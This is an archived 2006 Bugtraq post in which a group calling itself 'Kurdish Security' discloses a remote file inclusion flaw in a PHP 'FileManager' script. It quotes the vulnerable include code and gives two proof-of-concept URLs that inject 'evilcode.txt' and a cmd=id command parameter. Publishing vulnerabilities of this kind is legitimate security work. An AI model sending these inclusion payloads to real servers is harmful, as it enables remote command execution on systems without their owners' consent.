Bugtraq: [Kurdish Security # 19 ] FileManager Remote Command Execution

Nmap Security Scanner

Intro

Ref Guide

Install Guide

Download

Changelog

Book

Docs
Security Lists

Bugtraq

Basics

More
Security Tools

More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:

Bugtraq mailing list archives

[Kurdish Security # 19 ] FileManager Remote Command Execution

From: botan () linuxmail org
Date: 1 Aug 2006 14:04:03 -0000

Kurdish Security

FileManager Remote Command Execution

Freedom For Ocalan

Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

Rish : High

Class : Remote

Script : FileManager

Site : http://www.knusperleicht.at


Code : 

$dwl_download_path = "downloads";
$dwl_include_path = "dwl/";
include($dwl_include_path."index.php");
?>

http://site.com/[path]/dwl_download_path=evilcode.txt?&cmd=id

http://site.com/[path]/dwl_include_path=evilcode.txt?&cmd=id

By Date By Thread

Current thread:

[Kurdish Security # 19 ] FileManager Remote Command Execution botan (Aug 01)